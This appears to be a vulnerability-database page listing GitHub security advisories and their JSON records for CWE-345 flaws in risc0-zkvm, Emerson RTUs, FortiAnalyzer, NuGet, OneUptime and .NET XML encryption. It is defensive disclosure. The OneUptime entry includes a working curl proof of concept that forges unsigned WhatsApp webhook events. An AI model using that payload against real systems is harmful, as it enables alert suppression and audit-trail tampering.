CWE-345
DiscouragedInsufficient Verification of Data Authenticity
Abstraction: Class · Status: Draft
The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.
1099 vulnerabilities reference this CWE, most recent first.
GHSA-G3QG-6746-3MG9
Vulnerability from github – Published: 2025-06-20 18:08 – Updated: 2025-06-27 23:59Due to a missing constraint in the rv32im circuit, any 3-register RISC-V instruction (including remu and divu) in risc0-zkvm 2.0.0, 2.0.1, and 2.0.2 are vulnerable to an attack by a malicious prover. The main idea for the attack is to confuse the RISC-V virtual machine into treating the value of the rs1 register as the same as the rs2 register due to a lack of constraints in the rv32im circuit.
This vulnerability was reported by Christoph Hochrainer via our Hackenproof bug bounty. We have evaluated the severity of the vulnerability as “Critical,” and paid a bounty.
The fix for the circuit was implemented in zirgen/pull/238, and the update to risc0 was implemented in risc0/pull/3181. Impacted on-chain verifiers have already been disabled via the estop mechanism outlined in the Verifier Management Design.
Mitigation
We recommend all impacted users upgrade as soon as possible.
Rust applications using the risc0-zkvm crate at versions 2.0.0, 2.0.1, and 2.0.2 should upgrade to version 2.1.0.
Smart contract applications using the official RISC Zero Verifier Router do not need to take any action: zkVM version 2.1 is active on all official routers, and version 2.0 has been disabled.
Smart contract applications not using the verifier router should update their contracts to send verification calls to the 2.1 version of the verifier.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.2"
},
"package": {
"ecosystem": "crates.io",
"name": "risc0-zkvm"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.1.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.3"
},
"package": {
"ecosystem": "crates.io",
"name": "risc0-circuit-rv32im"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-52484"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-20T18:08:04Z",
"nvd_published_at": "2025-06-20T18:15:28Z",
"severity": "LOW"
},
"details": "Due to a missing constraint in the rv32im circuit, any 3-register RISC-V instruction (including remu and divu) in risc0-zkvm 2.0.0, 2.0.1, and 2.0.2 are vulnerable to an attack by a malicious prover. The main idea for the attack is to confuse the RISC-V virtual machine into treating the value of the rs1 register as the same as the rs2 register due to a lack of constraints in the rv32im circuit.\n\nThis vulnerability was reported by Christoph Hochrainer via our Hackenproof bug bounty. We have evaluated the severity of the vulnerability as \u201cCritical,\u201d and paid a bounty. \n\nThe fix for the circuit was implemented in [zirgen/pull/238](https://github.com/risc0/zirgen/pull/238), and the update to risc0 was implemented in [risc0/pull/3181](https://github.com/risc0/risc0/pull/3181). Impacted on-chain verifiers have already been disabled via the estop mechanism outlined in the [Verifier Management Design](https://github.com/risc0/risc0-ethereum/blob/release-2.0/contracts/version-management-design.md#base-verifier-implementations). \n\n## Mitigation\nWe recommend all impacted users upgrade as soon as possible.\n\nRust applications using the risc0-zkvm crate at versions 2.0.0, 2.0.1, and 2.0.2 should upgrade to version 2.1.0.\n\nSmart contract applications using the official [RISC Zero Verifier Router](https://dev.risczero.com/api/blockchain-integration/contracts/verifier#verifier-router) do not need to take any action: zkVM version 2.1 is active on all official routers, and version 2.0 has been disabled.\n\nSmart contract applications not using the verifier router should update their contracts to send verification calls to the 2.1 version of the verifier.",
"id": "GHSA-g3qg-6746-3mg9",
"modified": "2025-06-27T23:59:02Z",
"published": "2025-06-20T18:08:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/risc0/risc0/security/advisories/GHSA-g3qg-6746-3mg9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52484"
},
{
"type": "WEB",
"url": "https://github.com/risc0/risc0/pull/3181"
},
{
"type": "WEB",
"url": "https://github.com/risc0/zirgen/pull/238"
},
{
"type": "WEB",
"url": "https://github.com/risc0/risc0/commit/006d86c363b16d2b2ac42d32d832a209ff8ab4c9"
},
{
"type": "WEB",
"url": "https://github.com/risc0/risc0/commit/1873bbb8a56793edd1f6195242d184cf6cc5175d"
},
{
"type": "WEB",
"url": "https://github.com/risc0/risc0/commit/67f2d81c638bff5f4fcfe11a084ebb34799b7a89"
},
{
"type": "WEB",
"url": "https://github.com/risc0/zirgen/commit/e0e2918302c93e956f73ca2e44aef2b861d8c3ae"
},
{
"type": "PACKAGE",
"url": "https://github.com/risc0/risc0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "zkVM Underconstrained Vulnerability"
}
GHSA-G3XQ-MFM7-V29H
Vulnerability from github – Published: 2022-08-18 00:00 – Updated: 2022-08-21 00:00The Emerson ControlWave 'Next Generation' RTUs through 2022-05-02 mishandle firmware integrity. They utilize the BSAP-IP protocol to transmit firmware updates. Firmware updates are supplied as CAB archive files containing a binary firmware image. In all cases, firmware images were found to have no authentication (in the form of firmware signing) and only relied on insecure checksums for regular integrity checks.
{
"affected": [],
"aliases": [
"CVE-2022-30262"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-17T15:15:00Z",
"severity": "HIGH"
},
"details": "The Emerson ControlWave \u0027Next Generation\u0027 RTUs through 2022-05-02 mishandle firmware integrity. They utilize the BSAP-IP protocol to transmit firmware updates. Firmware updates are supplied as CAB archive files containing a binary firmware image. In all cases, firmware images were found to have no authentication (in the form of firmware signing) and only relied on insecure checksums for regular integrity checks.",
"id": "GHSA-g3xq-mfm7-v29h",
"modified": "2022-08-21T00:00:26Z",
"published": "2022-08-18T00:00:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-30262"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/uscert/ics/advisories/icsa-22-221-02"
},
{
"type": "WEB",
"url": "https://www.forescout.com/blog"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G4H5-9RRR-Q667
Vulnerability from github – Published: 2023-10-10 18:31 – Updated: 2024-04-04 08:30A insufficient verification of data authenticity vulnerability [CWE-345] in FortiAnalyzer version 7.4.0 and below 7.2.3 allows a remote unauthenticated attacker to send messages to the syslog server of FortiAnalyzer via the knoweldge of an authorized device serial number.
{
"affected": [],
"aliases": [
"CVE-2023-42782"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-10T17:15:12Z",
"severity": "MODERATE"
},
"details": "A insufficient verification of data authenticity vulnerability [CWE-345] in FortiAnalyzer version 7.4.0 and below 7.2.3 allows a remote unauthenticated attacker to send messages to the syslog server of FortiAnalyzer via the knoweldge of an authorized device serial number.",
"id": "GHSA-g4h5-9rrr-q667",
"modified": "2024-04-04T08:30:25Z",
"published": "2023-10-10T18:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-42782"
},
{
"type": "WEB",
"url": "https://fortiguard.com/psirt/FG-IR-23-221"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G4VJ-CJJJ-V7HG
Vulnerability from github – Published: 2026-04-14 23:42 – Updated: 2026-04-14 23:42Impact
This update adds validation of the package ID and version during package download, in addition to the existing package signature validation.
Patches
NuGet
The following NuGet.exe, NuGet.CommandLine, NuGet.Packaging, and NuGet.Protocol versions have been patched:
| Affected versions | Patched version |
|---|---|
| >= 4.9.0, <= 4.9.6 | 4.9.7 |
| >= 5.11.0, <= 5.11.6 | 5.11.7 |
| >= 6.8.0, <= 6.8.1 | 6.8.2 |
| >= 6.11.0, <= 6.11.1 | 6.11.2 |
| >= 6.12.0, <= 6.12.4 | 6.12.5 |
| >= 6.14.0, <= 6.14.2 | 6.14.3 |
| >= 7.0.0, <= 7.0.2 | 7.0.3 |
| 7.3.0 | 7.3.1 |
.NET SDK
- .NET 8.0.126 SDK
- .NET 8.0.420 SDK
- .NET 9.0.116 SDK
- .NET 9.0.313 SDK
- .NET 10.0.106 SDK
- .NET 10.0.202 SDK
Workarounds
N/A
References
https://github.com/NuGet/NuGetGallery/security/advisories/GHSA-9r3h-v4hx-rhfr
Credit
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.9.6"
},
"package": {
"ecosystem": "NuGet",
"name": "NuGet.Packaging"
},
"ranges": [
{
"events": [
{
"introduced": "4.9.0"
},
{
"fixed": "4.9.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.11.6"
},
"package": {
"ecosystem": "NuGet",
"name": "NuGet.Packaging"
},
"ranges": [
{
"events": [
{
"introduced": "5.11.0"
},
{
"fixed": "5.11.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.8.1"
},
"package": {
"ecosystem": "NuGet",
"name": "NuGet.Packaging"
},
"ranges": [
{
"events": [
{
"introduced": "6.8.0"
},
{
"fixed": "6.8.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.11.1"
},
"package": {
"ecosystem": "NuGet",
"name": "NuGet.Packaging"
},
"ranges": [
{
"events": [
{
"introduced": "6.11.0"
},
{
"fixed": "6.11.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.12.4"
},
"package": {
"ecosystem": "NuGet",
"name": "NuGet.Packaging"
},
"ranges": [
{
"events": [
{
"introduced": "6.12.0"
},
{
"fixed": "6.12.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.14.2"
},
"package": {
"ecosystem": "NuGet",
"name": "NuGet.Packaging"
},
"ranges": [
{
"events": [
{
"introduced": "6.14.0"
},
{
"fixed": "6.14.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.0.2"
},
"package": {
"ecosystem": "NuGet",
"name": "NuGet.Packaging"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.0.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "NuGet.Packaging"
},
"ranges": [
{
"events": [
{
"introduced": "7.3.0"
},
{
"fixed": "7.3.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"7.3.0"
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.9.6"
},
"package": {
"ecosystem": "NuGet",
"name": "NuGet.Protocol"
},
"ranges": [
{
"events": [
{
"introduced": "4.9.0"
},
{
"fixed": "4.9.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.11.6"
},
"package": {
"ecosystem": "NuGet",
"name": "NuGet.Protocol"
},
"ranges": [
{
"events": [
{
"introduced": "5.11.0"
},
{
"fixed": "5.11.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.8.1"
},
"package": {
"ecosystem": "NuGet",
"name": "NuGet.Protocol"
},
"ranges": [
{
"events": [
{
"introduced": "6.8.0"
},
{
"fixed": "6.8.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.11.1"
},
"package": {
"ecosystem": "NuGet",
"name": "NuGet.Protocol"
},
"ranges": [
{
"events": [
{
"introduced": "6.11.0"
},
{
"fixed": "6.11.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.12.4"
},
"package": {
"ecosystem": "NuGet",
"name": "NuGet.Protocol"
},
"ranges": [
{
"events": [
{
"introduced": "6.12.0"
},
{
"fixed": "6.12.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.14.2"
},
"package": {
"ecosystem": "NuGet",
"name": "NuGet.Protocol"
},
"ranges": [
{
"events": [
{
"introduced": "6.14.0"
},
{
"fixed": "6.14.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.0.2"
},
"package": {
"ecosystem": "NuGet",
"name": "NuGet.Protocol"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.0.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "NuGet.Protocol"
},
"ranges": [
{
"events": [
{
"introduced": "7.3.0"
},
{
"fixed": "7.3.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"7.3.0"
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.9.6"
},
"package": {
"ecosystem": "NuGet",
"name": "NuGet.CommandLine"
},
"ranges": [
{
"events": [
{
"introduced": "4.9.0"
},
{
"fixed": "4.9.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.11.6"
},
"package": {
"ecosystem": "NuGet",
"name": "NuGet.CommandLine"
},
"ranges": [
{
"events": [
{
"introduced": "5.11.0"
},
{
"fixed": "5.11.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.8.1"
},
"package": {
"ecosystem": "NuGet",
"name": "NuGet.CommandLine"
},
"ranges": [
{
"events": [
{
"introduced": "6.8.0"
},
{
"fixed": "6.8.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.11.1"
},
"package": {
"ecosystem": "NuGet",
"name": "NuGet.CommandLine"
},
"ranges": [
{
"events": [
{
"introduced": "6.11.0"
},
{
"fixed": "6.11.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.12.4"
},
"package": {
"ecosystem": "NuGet",
"name": "NuGet.CommandLine"
},
"ranges": [
{
"events": [
{
"introduced": "6.12.0"
},
{
"fixed": "6.12.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.14.2"
},
"package": {
"ecosystem": "NuGet",
"name": "NuGet.CommandLine"
},
"ranges": [
{
"events": [
{
"introduced": "6.14.0"
},
{
"fixed": "6.14.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.0.2"
},
"package": {
"ecosystem": "NuGet",
"name": "NuGet.CommandLine"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.0.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "NuGet.CommandLine"
},
"ranges": [
{
"events": [
{
"introduced": "7.3.0"
},
{
"fixed": "7.3.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"7.3.0"
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-14T23:42:30Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Impact\nThis update adds validation of the package ID and version during package download, in addition to the existing package signature validation.\n\n### Patches\n\n#### NuGet\n\nThe following NuGet.exe, NuGet.CommandLine, NuGet.Packaging, and NuGet.Protocol versions have been patched:\n\n|Affected versions|Patched version|\n|--|--|\n|\u003e= 4.9.0, \u003c= 4.9.6|4.9.7|\n|\u003e= 5.11.0, \u003c= 5.11.6|5.11.7|\n|\u003e= 6.8.0, \u003c= 6.8.1|6.8.2|\n|\u003e= 6.11.0, \u003c= 6.11.1|6.11.2|\n|\u003e= 6.12.0, \u003c= 6.12.4|6.12.5|\n|\u003e= 6.14.0, \u003c= 6.14.2|6.14.3|\n|\u003e= 7.0.0, \u003c= 7.0.2|7.0.3|\n|7.3.0|7.3.1|\n\n#### .NET SDK\n\n* .NET 8.0.126 SDK\n* .NET 8.0.420 SDK\n* .NET 9.0.116 SDK\n* .NET 9.0.313 SDK\n* .NET 10.0.106 SDK\n* .NET 10.0.202 SDK\n\n### Workarounds\nN/A\n\n### References\nhttps://github.com/NuGet/NuGetGallery/security/advisories/GHSA-9r3h-v4hx-rhfr\n\n### Credit\n[splitline](https://x.com/_splitline_) with [DEVCORE](https://devco.re/)",
"id": "GHSA-g4vj-cjjj-v7hg",
"modified": "2026-04-14T23:42:30Z",
"published": "2026-04-14T23:42:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/NuGet/NuGet.Client/security/advisories/GHSA-g4vj-cjjj-v7hg"
},
{
"type": "WEB",
"url": "https://github.com/NuGet/NuGetGallery/security/advisories/GHSA-9r3h-v4hx-rhfr"
},
{
"type": "PACKAGE",
"url": "https://github.com/NuGet/NuGet.Client"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Defense in Depth update for NuGet Client"
}
GHSA-G5PH-F57V-MWJC
Vulnerability from github – Published: 2026-03-18 17:25 – Updated: 2026-03-20 21:33Summary
The WhatsApp POST webhook handler (/notification/whatsapp/webhook) processes incoming status update events without verifying the Meta/WhatsApp X-Hub-Signature-256 HMAC signature, allowing any unauthenticated attacker to send forged webhook payloads that manipulate notification delivery status records, suppress alerts, and corrupt audit trails. The codebase already implements proper signature verification for Slack webhooks.
Details
Vulnerable code — App/FeatureSet/Notification/API/WhatsApp.ts lines 372-430:
router.post(
"/webhook",
async (req: ExpressRequest, res: ExpressResponse, next: NextFunction) => {
try {
const body: JSONObject = req.body as JSONObject;
// NO signature verification! No X-Hub-Signature-256 check!
if (
(body["object"] as string | undefined) !== "whatsapp_business_account"
) {
return Response.sendEmptySuccessResponse(req, res);
}
const entries: JSONArray | undefined = body["entry"] as JSONArray | undefined;
// ... processes entries and updates WhatsApp log status records
Compare with the Slack webhook which correctly validates signatures:
Common/Server/Middleware/SlackAuthorization.ts line 58:
const isValid = crypto.timingSafeEqual(
Buffer.from(computedSignature),
Buffer.from(slackSignature)
);
The WhatsApp GET webhook correctly validates the verify token — only the POST handler (which processes actual events) is missing signature verification.
No existing CVEs cover webhook signature verification issues in OneUptime. The closest is GHSA-cw6x-mw64-q6pv (WhatsApp Resend Verification Auth Bypass), which is about a different WhatsApp-related authorization issue.
PoC
Environment: OneUptime v10.0.23 via docker compose up (default configuration)
# Forge a delivery status update for any WhatsApp notification — no auth, no signature
curl -sv -X POST http://TARGET:8080/api/notification/whatsapp/webhook \
-H "Content-Type: application/json" \
-d '{
"object": "whatsapp_business_account",
"entry": [{
"id": "FAKE_WABA_ID",
"changes": [{
"value": {
"messaging_product": "whatsapp",
"metadata": {
"display_phone_number": "+15550000000",
"phone_number_id": "FAKE_PHONE_ID"
},
"messages": [{
"from": "15551234567",
"id": "wamid.FAKE",
"timestamp": "1234567890",
"text": {"body": "INJECTED_MESSAGE"},
"type": "text"
}]
},
"field": "messages"
}]
}]
}'
Docker validation (oneuptime/app:release, APP_VERSION=10.0.23):
< HTTP/1.1 200 OK
{}
- Fake WhatsApp webhook payload accepted with HTTP 200
- No
X-Hub-Signature-256header provided — no signature verification at all - Attacker can inject arbitrary inbound WhatsApp messages and forge delivery status updates
Impact
Any unauthenticated remote attacker can forge WhatsApp webhook events:
- False delivery status: Mark undelivered WhatsApp notifications as "delivered", hiding delivery failures from administrators
- Alert suppression: Critical on-call notifications that failed to deliver appear successful, preventing escalation
- Log manipulation: WhatsApp notification logs updated with forged status data, corrupting audit trails
- Incident response disruption: During active incidents, forging "delivered" statuses prevents the system from retrying failed notification deliveries
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "oneuptime"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.0.34"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33143"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-18T17:25:02Z",
"nvd_published_at": "2026-03-20T21:17:14Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe WhatsApp POST webhook handler (`/notification/whatsapp/webhook`) processes incoming status update events without verifying the Meta/WhatsApp `X-Hub-Signature-256` HMAC signature, allowing any unauthenticated attacker to send forged webhook payloads that manipulate notification delivery status records, suppress alerts, and corrupt audit trails. The codebase already implements proper signature verification for Slack webhooks.\n\n### Details\n\n**Vulnerable code \u2014 `App/FeatureSet/Notification/API/WhatsApp.ts` lines 372-430:**\n```typescript\nrouter.post(\n \"/webhook\",\n async (req: ExpressRequest, res: ExpressResponse, next: NextFunction) =\u003e {\n try {\n const body: JSONObject = req.body as JSONObject;\n // NO signature verification! No X-Hub-Signature-256 check!\n\n if (\n (body[\"object\"] as string | undefined) !== \"whatsapp_business_account\"\n ) {\n return Response.sendEmptySuccessResponse(req, res);\n }\n\n const entries: JSONArray | undefined = body[\"entry\"] as JSONArray | undefined;\n // ... processes entries and updates WhatsApp log status records\n```\n\nCompare with the Slack webhook which correctly validates signatures:\n\n**`Common/Server/Middleware/SlackAuthorization.ts` line 58:**\n```typescript\nconst isValid = crypto.timingSafeEqual(\n Buffer.from(computedSignature),\n Buffer.from(slackSignature)\n);\n```\n\nThe WhatsApp GET webhook correctly validates the verify token \u2014 only the POST handler (which processes actual events) is missing signature verification.\n\nNo existing CVEs cover webhook signature verification issues in OneUptime. The closest is GHSA-cw6x-mw64-q6pv (WhatsApp Resend Verification Auth Bypass), which is about a different WhatsApp-related authorization issue.\n\n### PoC\n\n**Environment:** OneUptime v10.0.23 via `docker compose up` (default configuration)\n\n```bash\n# Forge a delivery status update for any WhatsApp notification \u2014 no auth, no signature\ncurl -sv -X POST http://TARGET:8080/api/notification/whatsapp/webhook \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"object\": \"whatsapp_business_account\",\n \"entry\": [{\n \"id\": \"FAKE_WABA_ID\",\n \"changes\": [{\n \"value\": {\n \"messaging_product\": \"whatsapp\",\n \"metadata\": {\n \"display_phone_number\": \"+15550000000\",\n \"phone_number_id\": \"FAKE_PHONE_ID\"\n },\n \"messages\": [{\n \"from\": \"15551234567\",\n \"id\": \"wamid.FAKE\",\n \"timestamp\": \"1234567890\",\n \"text\": {\"body\": \"INJECTED_MESSAGE\"},\n \"type\": \"text\"\n }]\n },\n \"field\": \"messages\"\n }]\n }]\n }\u0027\n```\n\n**Docker validation (oneuptime/app:release, APP_VERSION=10.0.23):**\n```\n\u003c HTTP/1.1 200 OK\n{}\n```\n\n- Fake WhatsApp webhook payload accepted with HTTP 200\n- No `X-Hub-Signature-256` header provided \u2014 no signature verification at all\n- Attacker can inject arbitrary inbound WhatsApp messages and forge delivery status updates\n\n### Impact\n\nAny unauthenticated remote attacker can forge WhatsApp webhook events:\n\n- **False delivery status:** Mark undelivered WhatsApp notifications as \"delivered\", hiding delivery failures from administrators\n- **Alert suppression:** Critical on-call notifications that failed to deliver appear successful, preventing escalation\n- **Log manipulation:** WhatsApp notification logs updated with forged status data, corrupting audit trails\n- **Incident response disruption:** During active incidents, forging \"delivered\" statuses prevents the system from retrying failed notification deliveries",
"id": "GHSA-g5ph-f57v-mwjc",
"modified": "2026-03-20T21:33:33Z",
"published": "2026-03-18T17:25:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-g5ph-f57v-mwjc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33143"
},
{
"type": "PACKAGE",
"url": "https://github.com/OneUptime/oneuptime"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OneUptime WhatsApp Webhook Missing Signature Verification"
}
GHSA-G8R8-53C2-PM3F
Vulnerability from github – Published: 2026-07-20 22:44 – Updated: 2026-07-21 16:49Executive summary
Microsoft is releasing this security advisory to provide information about a vulnerability in .NET XML Encryption (System.Security.Cryptography.Xml). This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.
A security feature bypass vulnerability exists in the XML encryption implementation (EncryptedXml) in .NET 8, .NET 9, and .NET 10. An attacker could exploit this vulnerability to bypass encryption protections and access encrypted data.
Announcement
Announcement for this issue can be found at https://github.com/dotnet/announcements/issues/412.
CVSS Details
- Version: 3.1
- Severity: High
- Score: 8.1
- Vector:
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C - Weakness: CWE-347 (Improper Verification of Cryptographic Signature)
Affected Platforms
- Platforms: All
- Architectures: All
Affected Packages
The vulnerability affects any Microsoft .NET project if it uses any of affected package versions listed below
.NET 10.0
| Package name | Affected version | Patched version |
|---|---|---|
| System.Security.Cryptography.Xml | >= 10.0.0, <= 10.0.9 | 10.0.10 |
.NET 9.0
| Package name | Affected version | Patched version |
|---|---|---|
| System.Security.Cryptography.Xml | >= 9.0.0, <= 9.0.17 | 9.0.18 |
.NET 8.0
| Package name | Affected version | Patched version |
|---|---|---|
| System.Security.Cryptography.Xml | >= 8.0.0, <= 8.0.3 | 8.0.4 |
Advisory FAQ
How do I know if I am affected?
If using a package listed in affected packages, you're exposed to the vulnerability.
How do I fix the issue?
To update the System.Security.Cryptography.Xml NuGet package, use one of the following methods:
NuGet Package Manager UI in Visual Studio: - Open your project in Visual Studio. - Right-click on your project in Solution Explorer and select "Manage NuGet Packages..." or navigate to "Project > Manage NuGet Packages". - In the NuGet Package Manager window, select the "Updates" tab. This tab lists packages with available updates from your configured package sources. - Select the package(s) you wish to update. You can choose a specific version from the dropdown or update to the latest available version. - Click the "Update" button.
Using the NuGet Package Manager Console in Visual Studio: - Open your project in Visual Studio. - Navigate to "Tools > NuGet Package Manager > Package Manager Console". - To update a specific package to its latest version, use the following Update-Package command:
Update-Package -Id System.Security.Cryptography.Xml
Using the .NET CLI (Command Line Interface): - Open a terminal or command prompt in your project's directory. - To update a specific package to its latest version, use the following add package command:
dotnet add package System.Security.Cryptography.Xml
Once you have updated the nuget package reference you must recompile and deploy your application. Additionally we recommend you update your runtime and/or SDKs, but it is not necessary to patch the vulnerability.
Other Information
Reporting Security Issues
If you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the MSRC Researcher Portal. Further information can be found in the MSRC Report an Issue FAQ.
Security reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.
Support
You can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.
Disclaimer
The information provided in this advisory is provided "as is" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
External Links
Acknowledgements
Levi Broderick with Microsoft
Revisions
V1.0 (July 14, 2026): Advisory published.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 10.0.9"
},
"package": {
"ecosystem": "NuGet",
"name": "System.Security.Cryptography.Xml"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"fixed": "10.0.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.17"
},
"package": {
"ecosystem": "NuGet",
"name": "System.Security.Cryptography.Xml"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.18"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.3"
},
"package": {
"ecosystem": "NuGet",
"name": "System.Security.Cryptography.Xml"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47304"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T22:44:42Z",
"nvd_published_at": "2026-07-14T19:17:08Z",
"severity": "HIGH"
},
